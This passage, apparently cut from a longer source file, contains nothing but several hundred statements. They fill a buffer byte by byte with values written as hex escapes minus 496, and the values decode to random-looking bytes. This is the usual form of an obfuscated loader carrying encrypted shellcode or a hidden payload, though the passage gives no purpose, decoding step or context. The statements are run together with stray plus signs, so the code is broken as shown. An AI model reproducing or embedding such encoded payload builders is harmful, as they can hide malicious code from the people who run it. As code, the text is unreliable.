buf[513] = '\x27e'-496; + buf[514] = '\x291'-496; + buf[515] = '\x1f7'-496; + buf[516] = '\x252'-496; + buf[517] = '\x267'-496; + buf[518] = '\x21d'-496; + buf[519] = '\x23a'-496; + buf[520] = '\x21b'-496; + buf[521] = '\x296'-496; + buf[522] = '\x21d'-496; + buf[523] = '\x2b7'-496; + buf[524] = '\x2b7'-496; + buf[525] = '\x29c'-496; + buf[526] = '\x23e'-496; + buf[527] = '\x20a'-496; + buf[528] = '\x20d'-496; + buf[529] = '\x245'-496; + buf[530] = '\x270'-496; + buf[531] = '\x208'-496; + buf[532] = '\x1fa'-496; + buf[533] = '\x23e'-496; + buf[534] = '\x263'-496; + buf[535] = '\x2e1'-496; + buf[536] = '\x25d'-496; + buf[537] = '\x298'-496; + buf[538] = '\x215'-496; + buf[539] = '\x21c'-496; + buf[540] = '\x274'-496; + buf[541] = '\x225'-496; + buf[542] = '\x286'-496; + buf[543] = '\x1f7'-496; + buf[544] = '\x255'-496; + buf[545] = '\x2c3'-496; + buf[546] = '\x23b'-496; + buf[547] = '\x254'-496; + buf[548] = '\x262'-496; + buf[549] = '\x2a1'-496; + buf[550] = '\x293'-496; + buf[551] = '\x26a'-496; + buf[552] = '\x2a5'-496; + buf[553] = '\x2c9'-496; + buf[554] = '\x280'-496; + buf[555] = '\x1fe'-496; + buf[556] = '\x255'-496; + buf[557] = '\x221'-496; + buf[558] = '\x20a'-496; + buf[559] = '\x2ab'-496; + buf[560] = '\x242'-496; + buf[561] = '\x259'-496; + buf[562] = '\x2d8'-496; + buf[563] = '\x2e8'-496; + buf[564] = '\x27a'-496; + buf[565] = '\x2bb'-496; + buf[566] = '\x22b'-496; + buf[567] = '\x21e'-496; + buf[568] = '\x26a'-496; + buf[569] = '\x2df'-496; + buf[570] = '\x256'-496; + buf[571] = '\x2e5'-496; + buf[572] = '\x28d'-496; + buf[573] = '\x251'-496; + buf[574] = '\x2cd'-496; + buf[575] = '\x2b2'-496; + buf[576] = '\x20c'-496; + buf[577] = '\x1fb'-496; + buf[578] = '\x2cd'-496; + buf[579] = '\x220'-496; + buf[580] = '\x2e8'-496; + buf[581] = '\x2ba'-496; + buf[582] = '\x293'-496; + buf[583] = '\x207'-496; + buf[584] = '\x284'-496; + buf[585] = '\x26c'-496; + buf[586] = '\x223'-496; + buf[587] = '\x2c1'-496; + buf[588] = '\x265'-496; + buf[589] = '\x2d0'-496; + buf[590] = '\x25f'-496; + buf[591] = '\x23b'-496; + buf[592] = '\x295'-496; + buf[593] = '\x208'-496; + buf[594] = '\x282'-496; + buf[595] = '\x1fc'-496; + buf[596] = '\x2d2'-496; + buf[597] = '\x212'-496; + buf[598] = '\x207'-496; + buf[599] = '\x252'-496; + buf[600] = '\x22b'-496; + buf[601] = '\x2cf'-496; + buf[602] = '\x24e'-496; + buf[603] = '\x26c'-496; + buf[604] = '\x2a3'-496; + buf[605] = '\x23d'-496; + buf[606] = '\x2bd'-496; + buf[607] = '\x2c2'-496; + buf[608] = '\x27b'-496; + buf[609] = '\x240'-496; + buf[610] = '\x267'-496; + buf[611] = '\x2db'-496; + buf[612] = '\x234'-496; + buf[613] = '\x24a'-496; + buf[614] = '\x2e8'-496; + buf[615] = '\x211'-496; + buf[616] = '\x2e0'-496; + buf[617] = '\x2dd'-496; + buf[618] = '\x21a'-496; + buf[619] = '\x219'-496; + buf[620] = '\x243'-496; + buf[621] = '\x21f'-496; + buf[622] = '\x255'-496; + buf[623] = '\x2d3'-496; + buf[624] = '\x290'-496; + buf[625] = '\x224'-496; + buf[626] = '\x236'-496; + buf[627] = '\x259'-496; + buf[628] = '\x2bf'-496; + buf[629] = '\x2ea'-496; + buf[630] = '\x21d'-496; + buf[631] = '\x1fc'-496; + buf[632] = '\x24d'-496; + buf[633] = '\x2cd'-496; + buf[634] = '\x2b5'-496; + buf[635] = '\x223'-496; + buf[636] = '\x221'-496; + buf[637] = '\x273'-496; + buf[638] = '\x24b'-496; + buf[639] = '\x2ba'-496; + buf[640] = '\x248'-496; + buf[641] = '\x2c5'-496; + buf[642] = '\x240'-496; + buf[643] = '\x28a'-496; + buf[644] = '\x217'-496; + buf[645] = '\x298'-496; + buf[646] = '\x2de'-496; + buf[647] = '\x1f7'-496; + buf[648] = '\x20e'-496; + buf[649] = '\x2bc'-496; + buf[650] = '\x2e8'-496; + buf[651] = '\x221'-496; + buf[652] = '\x284'-496; + buf[653] = '\x24c'-496; + buf[654] = '\x29c'-496; + buf[655] = '\x25a'-496; + buf[656] = '\x2e4'-496; + buf[657] = '\x2bb'-496; + buf[658] = '\x229'-496; + buf[659] = '\x2ec'-496; + buf[660] = '\x230'-496; + buf[661] = '\x208'-496; + buf[662] = '\x277'-496; + buf[663] = '\x21e'-496; + buf[664] = '\x24b'-496; + buf[665] = '\x261'-496; + buf[666] = '\x213'-496; + buf[667] = '\x22a'-496; + buf[668] = '\x208'-496; + buf[669] = '\x26c'-496; + buf[670] = '\x29b'-496; + buf[671] = '\x290'-496; + buf[672] = '\x274'-496; + buf[673] = '\x228'-496; + buf[674] = '\x274'-496; + buf[675] = '\x24f'-496; + buf[676] = '\x284'-496; + buf[677] = '\x1f6'-496; + buf[678] = '\x2e3'-496; + buf[679] = '\x26a'-496; + buf[680] = '\x2ba'-496; + buf[681] = '\x2a6'-496; + buf[682] = '\x1fd'-496; + buf[683] = '\x2a1'-496; + buf[684] = '\x2ed'-496; + buf[685] = '\x25a'-496; + buf[686] = '\x215'-496; + buf[687] = '\x2c4'-496; + buf[688] = '\x263'-496; + buf[689] = '\x265'-496; + buf[690] = '\x29a'-496; + buf[691] = '\x28b'-496; + buf[692] = '\x204'-496; + buf[693] = '\x255'-496; + buf[694] = '\x27f'-496; + buf[695] = '\x2a9'-496; + buf[696] = '\x2ca'-496; + buf[697] = '\x23e'-496; + buf[698] = '\x1f1'-496; + buf[699] = '\x299'-496; + buf[700] = '\x2b9'-496; + buf[701] = '\x2de'-496; + buf[702] = '\x278'-496; + buf[703] = '\x207'-496; + buf[704] = '\x2de'-496; + buf[705] = '\x283'-496; + buf[706] = '\x27f'-496; + buf[707] = '\x21a'-496; + buf[708] = '\x2ce'-496; + buf[709] = '\x24f'-496; + buf[710] = '\x2a6'-496; + buf[711] = '\x272'-496; + buf[712] = '\x2bc'-496; + buf[713] = '\x1fa'-496; + buf[714] = '\x294'-496; + buf[715] = '\x253'-496; + buf[716] = '\x205'-496; + buf[717] = '\x25c'-496; + buf[718] = '\x298'-496; + buf[719] = '\x2c6'-496; + buf[720] = '\x297'-496; + buf[721] = '\x29c'-496; + buf[722] = '\x222'-496; + buf[723] = '\x2ee'-496; + buf[724] = '\x2e9'-496; + buf[725] = '\x231'-496; + buf[726] = '\x287'-496; + buf[727] = '\x204'-496; + buf[728] = '\x211'-496; + buf[729] = '\x225'-496; + buf[730] = '\x2ea'-496; + buf[731] = '\x2b8'-496; + buf[732] = '\x245'-496; + buf[733] = '\x27e'-496; + buf[734] = '\x250'-496; + buf[735] = '\x2ab'-496; + buf[736] = '\x2b6'-496; + buf[737] = '\x2da'-496; + buf[738] = '\x243'-496; + buf[739] = '\x27d'-496; + buf[740] = '\x264'-496; + buf[741] = '\x235'-496; + buf[742] = '\x283'-496; + buf[743] = '\x226'-496; + buf[744] = '\x1fe'-496; + buf[745] = '\x243'-496; + buf[746] = '\x2c4'-496; + buf[747] = '\x298'-496; + buf[748] = '\x23d'-496; + buf[749] = '\x280'-496; + buf[750] = '\x274'-496; + buf[751] = '\x241'-496; + buf[752] = '\x290'-496; + buf[753] = '\x26b'-496; + buf[754] = '\x234'-496; + buf[755] = '\x2a2'-496; + buf[756] = '\x298'-496; + buf[757] = '\x23f'-496; + buf[758] = '\x2b2'-496; + buf[759] = '\x278'-496; + buf[760] = '\x261'-496; + buf[761] = '\x29b'-496; + buf[762] = '\x29b'-496; + buf[763] = '\x297'-496; + buf[764] = '\x25c'-496; + buf[765] = '\x2af'-496; + buf[766] = '\x24c'-496; + buf[767] = '\x25a'-496; + buf[768] = '\x255'-496; + buf[769] = '\x22c'-496; + buf[770] = '\x29d'-496; + buf[771] = '\x281'-496; + buf[772] = '\x1fe'-496; + buf[773] = '\x208'-496; + buf[774] = '\x2c2'-496; + buf[775] = '\x21e'-496; + buf[776] = '\x20a'-496; + buf[777] = '\x27a'-496; + buf[778] = '\x235'-496; + buf[779] = '\x2c9'-496; + buf[780] = '\x287'-496; + buf[781] = '\x2c2'-496; + buf[782] = '\x2e9'-496; + buf[783] = '\x25b'-496; + buf[784] = '\x26d'-496; + buf[785] = '\x2b5'-496; + buf[786] = '\x22f'-496; + buf[787] = '\x211'-496; + buf[788] = '\x231'-496; + buf[789] = '\x269'-496; + buf[790] = '\x2e6'-496; + buf[791] = '\x2e4'-496; + buf[792] = '\x2d1'-496; + buf[793] = '\x2c3'-496; + buf[794] = '\x1f9'-496; + buf[795] = '\x246'-496; + buf[796] = '\x233'-496; + buf[797] = '\x2c3'-496; + buf[798] = '\x2c7'-496; + buf[799] = '\x2c6'-496; + buf[800] = '\x25d'-496; + buf[801] = '\x24c'-496; + buf[802] = '\x234'-496; + buf[803] = '\x1fd'-496; + buf[804] = '\x203'-496; + buf[805] = '\x2bb'-496; + buf[806] = '\x2ac'-496; + buf[807] = '\x2ac'-496; + buf[808] = '\x219'-496; + buf[809] = '\x216'-496; + buf[810] = '\x2c1'-496; + buf[811] = '\x2ad'-496; + buf[812] = '\x278'-496; + buf[813] = '\x2a4'-496; + buf[814] = '\x243'-496; + buf[815] = '\x283'-496; + buf[816] = '\x252'-496; + buf[817] = '\x27b'-496; + buf[818] = '\x267'-496; + buf[819] = '\x213'-496; + buf[820] = '\x204'-496; + buf[821] = '\x20a'-496; + buf[822] = '\x25e'-496; + buf[823] = '\x208'-496; + buf[824] = '\x266'-496; + buf[825] = '\x27d'-496; + buf[826] = '\x1f6'-496; + buf[827] = '\x28e'-496; + buf[828] = '\x1fe'-496; + buf[829] = '\x2b1'-496; + buf[830] = '\x23e'-496; + buf[831] = '\x22d'-496; + buf[832] = '\x2c1'-496; + buf[833] = '\x293'-496; + buf[834] = '\x24b'-496; + buf[835] = '\x2dc'-496; + buf[836] = '\x21e'-496; + buf[837] = '\x211'-496; + buf[838] = '\x2b5'-496; + buf[839] = '\x209'-496; + buf[840] = '\x28c'-496; + buf[841] = '\x223'-496; + buf[842] = '\x23f'-496; + buf[843] = '\x23a'-496; + buf[844] = '\x274'-496; + buf[845] = '\x23a'-496; + buf[846] = '\x2ab'-496; + buf[847] = '\x2db'-496; + buf[848] = '\x1fc'-496; + buf[849] = '\x29e'-496; + buf[850] = '\x238'-496; + buf[851] = '\x29e'-496; + buf[852] = '\x272'-496; + buf[853] = '\x28d'-496; + buf[854] = '\x1fe'-496; + buf[855] = '\x2aa'-496; + buf[856] = '\x264'-496; + buf[857] = '\x2b4'-496; + buf[858] = '\x258'-496; + buf[859] = '\x1f6'-496; + buf[860] = '\x2a9'-496; + buf[861] = '\x24b'-496; + buf[862] = '\x241'-496; + buf[863] = '\x2d6'-496; + buf[864] = '\x210'-496; + buf[865] = '\x2b8'-496; + buf[866] = '\x220'-496; + buf[867] = '\x2a8'-496; + buf[868] = '\x2cf'-496; + buf[869] = '\x257'-496; + buf[870] = '\x250'-496; + buf[871] = '\x23d'-496; + buf[872] = '\x2cb'-496; + buf[873] = '\x275'-496; + buf[874] = '\x2a5'-496; + buf[875] = '\x276'-496; + buf[876] = '\x23f'-496; + buf[877] = '\x2ed'-496; + buf[878] = '\x20a'-496; + buf[879] = '\x267'-496; + buf[880] = '\x287'-496; + buf[881] = '\x22b'-496; + buf[882] = '\x23b'-496; + buf[883] = '\x267'-496; + buf[884] = '\x253'-496; + buf[885] = '\x1fa'-496; + buf[886] = '\x298'-496; + buf[887] = '\x2ca'-496; + buf[888] = '\x2d8'-496; + buf[889] = '\x297'-496; + buf[890] = '\x240'-496; + buf[891] = '\x2e0'-496; + buf[892] = '\x2ee'-496; + buf[893] = '\x25d'-496; + buf[894] = '\x212'-496; + buf[895] = '\x232'-496; + buf[896] = '\x2d0'-496; + buf[897] = '\x2db'-496; + buf[898] = '\x2eb'-496; + buf[899] = '\x284'-496; + buf[900] = '\x260'-496; + buf[901] = '\x2c8'-496; + buf[902] = '\x2ef'-496; + buf[903] = '\x29e'-496; + buf[904] = '\x28f'-496; + buf[905] = '\x251'-496; + buf[906] = '\x24f'-496; + buf[907] = '\x2db'-496; + buf[908] = '\x20d'-496; + buf[909] = '\x2ba'-496; + buf[910] = '\x265'-496; + buf[911] = '\x247'-496; + buf[912] = '\x2c4'-496; + buf[913] = '\x211'-496; + buf[914] = '\x2eb'-496; + buf[915] = '\x28f'-496; + buf[916] = '\x2c5'-496; + buf[917] = '\x22a'-496; + buf[918] = '\x229'-496; + buf[919] = '\x2c5'-496; + buf[920] = '\x26d'-496; + buf[921] = '\x228'-496; + buf[922] = '\x234'-496; + buf[923] = '\x2d5'-496; + buf[924] = '\x25b'-496; + buf[925] = '\x288'-496; + buf[926] = '\x2d4'-496; + buf[927] = '\x21b'-496; + buf[928] = '\x252'-496; + buf[929] = '\x22c'-496; + buf[930] = '\x2a4'-496; + buf[931] = '\x246'-496; + buf[932] = '\x283'-496; + buf[933] = '\x226'-496; + buf[934] = '\x2ca'-496; + buf[935] = '\x2a2'-496; + buf[936] = '\x262'-496; + buf[937] = '\x219'-496; + buf[938] = '\x257'-496; + buf[939] = '\x259'-496; + buf[940] = '\x26c'-496; + buf[941] = '\x2c7'-496; + buf[942] = '\x270'-496; + buf[943] = '\x238'-496; + buf[944] = '\x274'-496; + buf[945] = '\x21a'-496; + buf[946] = '\x26f'-496; + buf[947] = '\x2bc'-496; + buf[948] = '\x206'-496; + buf[949] = '\x2c5'-496; + buf[950] = '\x248'-496; + buf[951] = '\x247'-496; + buf[952] = '\x1f9'-496; + buf[953] = '\x2c2'-496; + buf[954] = '\x213'-496; + buf[955] = '\x25d'-496; + buf[956] = '\x216'-496; + buf[957] = '\x2a8'-496; + buf[958] = '\x203'-496; + buf[959] = '\x275'-496; + buf[960] = '\x2c7'-496; + buf[961] = '\x22d'-496; + buf[962] = '\x288'-496; + buf[963] = '\x26d'-496; + buf[964] = '\x2e0'-496; + buf[965] = '\x26a'-496; + buf[966] = '\x235'-496; + buf[967] = '\x28c'-496; + buf[968] = '\x2df'-496; + buf[969] = '\x1f5'-496; + buf[970] = '\x1fd'-496; + buf[971] = '\x211'-496; + buf[972] = '\x278'-496; + buf[973] = '\x25a'-496; + buf[974] = '\x2bd'-496; + buf[975] = '\x204'-496; + buf[976] = '\x2ec'-496; + buf[977] = '\x23e'-496; + buf[978] = '\x2d7'-496; + buf[979] = '\x1f1'-496; + buf[980] = '\x256'-496; + buf[981] = '\x20d'-496; + buf[982] = '\x2c4'-496; + buf[983] = '\x24e'-496; + buf[984] = '\x256'-496; + buf[985] = '\x205'-496; + buf[986] = '\x204'-496; + buf[987] = '\x284'-496; + buf[988] = '\x2a0'-496; + buf[989] = '\x22d'-496; + buf[990] = '\x2bd'-496; + buf[991] = '\x208'-496; + buf[992] = '\x2dd'-496; + buf[993] = '\x202'-496; + buf[994] = '\x26a'-496; + buf[995] = '\x289'-496; + buf[996] = '\x1f2'-496; + buf[997] = '\x274'-496; + buf[998] = '\x273'-496; + buf[999] = '\x21a'-496; + buf[1000] = '\x212'-496; + buf[1001] = '\x21e'-496; + buf[1002] = '\x22e'-496; + buf[1003] = '\x274'-496; + buf[1004] = '\x265'-496; + buf[1005] = '\x2c0'-496; + buf[1006] = '\x261'-496; + buf[1007] = '\x2e7'-496; + buf[1008] = '\x2ad'-496; + buf[1009] = '\x23d'-496; + buf[1010] = '\x216'-496; + buf[1011] = '\x2d1'-496; + buf[1012] = '\x281'-496; + buf[1013] = '\x1f5'-496; + buf[1014] = '\x22b'-496; + buf[1015] = '\x254'-496; + buf[1016] = '\x2e1'-496; + buf[1017] = '\x276'-496; + buf[1018] = '\x241'-496; + buf[1019] = '\x2cd'-496; + buf[1020] = '\x2d8'-496; + buf[1021] = '\x25d'-496; + buf[1022] = '\x294'-496; + buf[1023] = '\x21a'-496; + buf[1024] = '\x206'-496; + buf[1025] = '\x2c8'-496; + buf[1026] = '\x210'-496; + buf[1027] = '\x2ef'-496; + buf[1028] = '\x255'-496; + buf[1029] = '\x286'-496; + buf[1030] = '\x21e'-496; + buf[1031] = '\x256'-496; + buf[1032] = '\x21a'-496; + buf[1033] = '\x259'-496; + buf[1034] = '\x26f'-496; + buf[1035] = '\x2c7'-496; + buf[1036] = '\x28b'-496; + buf[1037] = '\x2a9'-496; + buf[1038] = '\x284'-496; + buf[1039] = '\x269'-496; + buf[1040] = '\x2ef'-496; + buf[1041] = '\x208'-496; + buf[1042] = '\x28e'-496; + buf[1043] = '\x2c7'-496; + buf[1044] = '\x2a5'-496; + buf[1045] = '\x260'-496; + buf[1046] = '\x2d1'-496; + buf[1047] = '\x22d'-496; + buf[1048] = '\x216'-496; + buf[1049] = '\x202'-496; + buf[1050] = '\x233'-496; + buf[1051] = '\x1f5'-496; + buf[1052] = '\x233'-496; + buf[1053] = '\x202'-496; + buf[1054] = '\x2a6'-496; + buf[1055] = '\x2ce'-496; + buf[1056] = '\x244'-496; + buf[1057] = '\x290'-496; + buf[1058] = '\x2ba'-496; + buf[1059] = '\x2ab'-496; + buf[1060] = '\x1f6'-496; + buf[1061] = '\x295'-496; + buf[1062] = '\x279'-496; + buf[1063] = '\x25f'-496; + buf[1064] = '\x2bd'-496; + buf[1065] = '\x208'-496; + buf[1066] = '\x220'-496; + buf[1067] = '\x29c'-496; + buf[1068] = '\x24b'-496; + buf[1069] = '\x218'-496; + buf[1070] = '\x276'-496; + buf[1071] = '\x2a7'-496; + buf[1072] = '\x283'-496; + buf[1073] = '\x27a'-496; + buf[1074] = '\x218'-496; + buf[1075] = '\x278'-496; + buf[1076] = '\x286'-496; + buf[1077] = '\x235'-496; + buf[1078] = '\x2af'-496; + buf[1079] = '\x23a'-496; + buf[1080] = '\x214'-496; + buf[1081] = '\x29b'-496; + buf[1082] = '\x1f2'-496; + buf[1083] = '\x2d4'-496; + buf[1084] = '\x209'-496; + buf[1085] = '\x1f3'-496; + buf[1086] = '\x274'-496; + buf[1087] = '\x212'-496; + buf[1088] = '\x2ce'-496; + buf[1089] = '\x20c'-496; + buf[1090] = '\x202'-496; + buf[1091] = '\x263'-496; + buf[1092] = '\x2c9'-496; + buf[1093] = '\x25e'-496; + buf[1094] = '\x274'-496; + buf[1095] = '\x29d'-496; + buf[1096] = '\x272'-496; + buf[1097] = '\x2b3'-496; + buf[1098] = '\x243'-496; + buf[1099] = '\x2bf'-496; + buf[1100] = '\x2c6'-496; + buf[1101] = '\x26a'-496; + buf[1102] = '\x247'-496; + buf[1103] = '\x249'-496; + buf[1104] = '\x231'-496; + buf[1105] = '\x2c5'-496; + buf[1106] = '\x28b'-496; + buf[1107] = '\x204'-496; + buf[1108] = '\x26e'-496; + buf[1109] = '\x2bc'-496; + buf[1110] = '\x2bb'-496; + buf[1111] = '\x22b'-496; + buf[1112] = '\x24a'-496; + buf[1113] = '\x263'-496; + buf[1114] = '\x246'-496; + buf[1115] = '\x280'-496; + buf[1116] = '\x247'-496; + buf[1117] = '\x295'-496; + buf[1118] = '\x257'-496; + buf[1119] = '\x206'-496; + buf[1120] = '\x221'-496; + buf[1121] = '\x23f'-496; + buf[1122] = '\x203'-496; + buf[1123] = '\x238'-496; + buf[1124] = '\x23e'-496; + buf[1125] = '\x2d6'-496; + buf[1126] = '\x20b'-496; + buf[1127] = '\x1f9'-496; + buf[1128] = '\x254'-496; + buf[1129] = '\x2c4'-496; + buf[1130] = '\x2ce'-496; + buf[1131] = '\x288'-496; + buf[1132] = '\x254'-496; + buf[1133] = '\x24a'-496; + buf[1134] = '\x266'-496; + buf[1135] = '\x25e'-496; + buf[1136] = '\x2ef'-496; + buf[1137] = '\x23f'-496; + buf[1138] = '\x2eb'-496; + buf[1139] = '\x1fc'-496; + buf[1140] = '\x274'-496; + buf[1141] = '\x242'-496; + buf[1142] = '\x2ec'-496; + buf[1143] = '\x27c'-496; + buf[1144] = '\x240'-496; + buf[1145] = '\x25f'-496; + buf[1146] = '\x271'-496; + buf[1147] = '\x2e3'-496; + buf[1148] = '\x27e'-496; + buf[1149] = '\x287'-496; + buf[1150] = '\x22c'-496; + buf[1151] = '\x255'-496; + buf[1152] = '\x272'-496; + buf[1153] = '\x2a0'-496; + buf[1154] = '\x259'-496; + buf[1155] = '\x2c3'-496; + buf[1156] = '\x250'-496; + buf[1157] = '\x270'-496; + buf[1158] = '\x2da'-496; + buf[1159] = '\x1f2'-496; + buf[1160] = '\x2a1'-496; + buf[1161] = '\x205'-496; + buf[1162] = '\x1fc'-496; + buf[1163] = '\x2a3'-496; + buf[1164] = '\x227'-496; + buf[1165] = '\x29d'-496; + buf[1166] = '\x212'-496; + buf[1167] = '\x1fc'-496; + buf[1168] = '\x248'-496; + buf[1169] = '\x1f2'-496; + buf[1170] = '\x20c'-496; + buf[1171] = '\x2bf'-496; + buf[1172] = '\x2ef'-496; + buf[1173] = '\x2d2'-496; + buf[1174] = '\x2eb'-496; + buf[1175] = '\x2e0'-496; + buf[1176] = '\x20f'-496; + buf[1177] = '\x2e6'-496; + buf[1178] = '\x2ab'-496; + buf[1179] = '\x23a'-496; + buf[1180] = '\x2b6'-496; + buf[1181] = '\x27e'-496; + buf[1182] = '\x276'-496; + buf[1183] = '\x242'-496; + buf[1184] = '\x20f'-496; + buf[1185] = '\x2c1'-496; + buf[1186] = '\x2a0'-496; + buf[1187] = '\x287'-496; + buf[1188] = '\x2d6'-496; + buf[1189] = '\x252'-496; + buf[1190] = '\x22f'-496; + buf[1191] = '\x259'-496; + buf[1192] = '\x252'-496; + buf[1193] = '\x2c4'-496; + buf[1194] = '\x238'-496; + buf[1195] = '\x2da'-496; + buf[1196] = '\x23c'-496; + buf[1197] = '\x246'-496; + buf[1198] = '\x1f0'-496; + buf[1199] = '\x2b5'-496; + buf[1200] = '\x25e'-496; + buf[1201] = '\x1fb'-496; + buf[1202] = '\x295'-496; + buf[1203] = '\x202'-496; + buf[1204] = '\x2ee'-496; + buf[1205] = '\x20e'-496; + buf[1206] = '\x236'-496; + buf[1207] = '\x259'-496; + buf[1208] = '\x2a9'-496; + buf[1209] = '\x1f1'-496; + buf[1210] = '\x29c'-496; + buf[1211] = '\x2da'-496; + buf[1212] = '\x2d4'-496; + buf[1213] = '\x266'-496; + buf[1214] = '\x21e'-496; + buf[1215] = '\x2a6'-496; + buf[1216] = '\x257'-496; + buf[1217] = '\x28d'-496; + buf[1218] = '\x289'-496; + buf[1219] = '\x1fb'-496; + buf[1220] = '\x2e6'-496; + buf[1221] = '\x291'-496; + buf[1222] = '\x2e6'-496; + buf[1223] = '\x251'-496; + buf[1224] = '\x203'-496; + buf[1225] = '\x2a5'-496; + buf[1226] = '\x2e5'-496; + buf[1227] = '\x29d'-496; + buf[1228] = '\x28a'-496; + buf[1229] = '\x222'-496; + buf[1230] = '\x2b4'-496; + buf[1231] = '\x290'-496; + buf[1232] = '\x284'-496; + buf[1233] = '\x20e'-496; + buf[1234] = '\x25d'-496; + buf[1235] = '\x222'-496; + buf[1236] = '\x2c6'-496; + buf[1237] = '\x291'-496; + buf[1238] = '\x29b'-496; + buf[1239] = '\x28a'-496; + buf[1240] = '\x2c2'-496; + buf[1241] = '\x2d6'-496; + buf[1242] = '\x22d'-496; + buf[1243] = '\x210'-496; + buf[1244] = '\x29f'-496; + buf[1245] = '\x2d0'-496; + buf[1246] = '\x259'-496; + buf[1247] = '\x2ec'-496; + buf[1248] = '\x21b'-496; + buf[1249] = '\x200'-496; + buf[1250] = '\x2b0'-496; + buf[1251] = '\x2c0'-496; + buf[1252] = '\x2ed'-496; + buf[1253] = '\x23c'-496; + buf[1254] = '\x215'-496; + buf[1255] = '\x24b'-496; + buf[1256] = '\x202'-496; + buf[1257] = '\x2dc'-496; + buf[1258] = '\x1fc'-496; + buf[1259] = '\x23f'-496; + buf[1260] = '\x22c'-496; + buf[1261] = '\x2d7'-496; + buf[1262] = '\x2bc'-496; + buf[1263] = '\x20c'-496; + buf[1264] = '\x231'-496; + buf[1265] = '\x2bf'-496; + buf[1266] = '\x239'-496; + buf[1267] = '\x26a'-496; + buf[1268] = '\x20d'-496; + buf[1269] = '\x257'-496; + buf[1270] = '\x2cc'-496; + buf[1271] = '\x226'-496; + buf[1272] = '\x2e1'-496; + buf[1273] = '\x2ea'-496; + buf[1274] = '\x27e'-496; + buf[1275] = '\x238'-496; + buf[1276] = '\x27f'-496; + buf[1277] = '\x1f1'-496; + buf[1278] = '\x262'-496; + buf[1279] = '\x2cf'-496; + buf[1280] = '\x2a6'-496; + buf[1281] = '\x25f'-496; + buf[1282] = '\x279'-496; + buf[1283] = '\x23b'-496; + buf[1284] = '\x2de'-496; + buf[1285] = '\x21e'-496; + buf[1286] = '\x2c0'-496; + buf[1287] = '\x256'-496; + buf[1288] = '\x255'-496; + buf[1289] = '\x1ff'-496; + buf[1290] = '\x20a'-496; + buf[1291] = '\x2d7'-496; + buf[1292] = '\x2c3'-496; + buf[1293] = '\x270'-496; + buf[1294] = '\x22b'-496; + buf[1295] = '\x21f'-496; + buf[1296] = '\x1f4'-496; + buf[1297] = '\x25f'-496; + buf[1298] = '\x2e2'-496; + buf[1299] = '\x247'-496; + buf[1300] = '\x2d7'-496; + buf[1301] = '\x23c'-496; + buf[1302] = '\x201'-496; + buf[1303] = '\x1f1'-496; + buf[1304] = '\x248'-496; + buf[1305] = '\x23c'-496; + buf[1306] = '\x2db'-496; + buf[1307] = '\x203'-496; + buf[1308] = '\x2e7'-496; + buf[1309] = '\x228'-496; + buf[1310] = '\x2ba'-496; + buf[1311] = '\x216'-496; + buf[1312] = '\x2b9'-496; + buf[1313] = '\x2dd'-496; + buf[1314] = '\x2ae'-496; + buf[1315] = '\x29d'-496; + buf[1316] = '\x235'-496; + buf[1317] = '\x2dd'-496; + buf[1318] = '\x1f5'-496; + buf[1319] = '\x2a3'-496; + buf[1320] = '\x2d6'-496; + buf[1321] = '\x2e8'-496; + buf[1322] = '\x2a2'-496; + buf[1323] = '\x20a'-496; + buf[1324] = '\x2b8'-496; + buf[1325] = '\x20d'-496; + buf[1326] = '\x2cd'-496; + buf[1327] = '\x214'-496; + buf[1328] = '\x212'-496; + buf[1329] = '\x2a7'-496; + buf[1330] = '\x26d'-496; + buf[1331] = '\x2bc'-496; + buf[1332] = '\x2ac'-496; + buf[1333] = '\x230'-496; + buf[1334] = '\x20a'-496; + buf[1335] = '\x2d3'-496; + buf[1336] = '\x22f'-496; + buf[1337] = '\x267'-496; + buf[1338] = '\x2a5'-496; + buf[1339] = '\x294'-496; + buf[1340] = '\x2c9'-496; + buf[1341] = '\x2b1'-496; + buf[1342] = '\x2d6'-496; + buf[1343] = '\x1f0'-496; + buf[1344] = '\x254'-496; + buf[1345] = '\x2be'-496; + buf[1346] = '\x2c4'-496; + buf[1347] = '\x236'-496; + buf[1348] = '\x264'-496; + buf[1349] = '\x26b'-496; + buf[1350] = '\x257'-496; + buf[1351] = '\x269'-496; + buf[1352] = '\x202'-496; + buf[1353] = '\x2c3'-496; + buf[1354] = '\x27d'-496; + buf[1355] = '\x2ea'-496; + buf[1356] = '\x20f'-496; + buf[1357] = '\x2b0'-496; + buf[1358] = '\x23b'-496; + buf[1359] = '\x240'-496; + buf[1360] = '\x265'-496; + buf[1361] = '\x21c'-496; + buf[1362] = '\x298'-496; + buf[1363] = '\x271'-496; + buf[1364] = '\x2bd'-496; + buf[1365] = '\x267'-496; + buf[1366] = '\x25a'-496; + buf[1367] = '\x258'-496; + buf[1368] = '\x2a2'-496; + buf[1369] = '\x20f'-496; + buf[1370] = '\x2ba'-496; + buf[1371] = '\x204'-496; + buf[1372] = '\x270'-496; + buf[1373] = '\x250'-496; + buf[1374] = '\x211'-496; + buf[1375] = '\x2c1'-496; + buf[1376] = '\x2dd'-496; + buf[1377] = '\x223'-496; + buf[1378] = '\x231'-496; + buf[1379] = '\x242'-496; + buf[1380] = '\x21e'-496; + buf[1381] = '\x2e6'-496; + buf[1382] = '\x2e3'-496; + buf[1383] = '\x282'-496; + buf[1384] = '\x2d6'-496; + buf[1385] = '\x28d'-496; + buf[1386] = '\x2b6'-496; + buf[1387] = '\x278'-496; + buf[1388] = '\x230'-496; + buf[1389] = '\x2c3'-496; + buf[1390] = '\x23d'-496; + buf[1391] = '\x239'-496; + buf[1392] = '\x2ed'-496; + buf[1393] = '\x26d'-496; + buf[1394] = '\x280'-496; + buf[1395] = '\x2d2'-496; + buf[1396] = '\x29b'-496; + buf[1397] = '\x26f'-496; + buf[1398] = '\x29a'-496; + buf[1399] = '\x2aa'-496; + buf[1400] = '\x230'-496; + buf[1401] = '\x260'-496; + buf[1402] = '\x2ae'-496; + buf[1403] = '\x244'-496; + buf[1404] = '\x200'-496; + buf[1405] = '\x225'-496; + buf[1406] = '\x2eb'-496; + buf[1407] = '\x219'-496; + buf[1408] = '\x1fc'-496; + buf[1409] = '\x26b'-496; + buf[1410] = '\x2c2'-496; + buf[1411] = '\x1f7'-496; + buf[1412] = '\x200'-496; + buf[1413] = '\x2c5'-496; + buf[1414] = '\x2ce'-496; + buf[1415] = '\x2e3'-496; + buf[1416] = '\x253'-496; + buf[1417] = '\x250'-496; + buf[1418] = '\x29a'-496; + buf[1419] = '\x2b6'-496; + buf[1420] = '\x245'-496; + buf[1421] = '\x1fb'-496; + buf[1422] = '\x27b'-496; + buf[1423] = '\x1fa'-496; + buf[1424] = '\x275'-496; + buf[1425] = '\x2b6'-496; + buf[1426] = '\x292'-496; + 